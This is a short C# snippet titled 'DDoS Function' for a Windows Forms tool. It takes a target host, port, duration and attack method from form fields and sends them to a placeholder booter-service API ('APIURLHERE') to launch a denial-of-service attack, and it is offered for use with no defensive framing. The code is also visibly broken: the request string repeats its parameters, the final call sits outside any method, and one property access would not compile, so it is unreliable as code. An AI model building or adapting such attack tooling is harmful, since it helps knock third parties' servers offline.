DDoS Function [C#]

using System.Net;

public partial class FORMNAMEHERE : Form
    {
        public static WebClient wc = new WebClient();
        private static string getWebString(string url)
        {
            List<string> _items = new List<string>();
            FORMNAMEHERE.wc.Proxy = (IWebProxy)null;
            string str;
            try
            {
                str = FORMNAMEHERE.wc.DownloadString(url);
            }
            catch (Exception ex)
            {
                str = "";
            }
            return str;
        }
        public FORMNAMEHERE()
        {
            InitializeComponent();
        }

wc.DownloadString("APIURLHERE&host=[host]&port=[port]&time=[time]&method=[method]" + HOSTBOXHERE.Text + "&host=" + HOSTBOXHERE.Text + "&port=" + PORTBOXHERE.Text + "&time=" + TIMEBOXHERE.Text + "&method=" + HOSTCOMBOBOXHERE.Text.SelectedItem);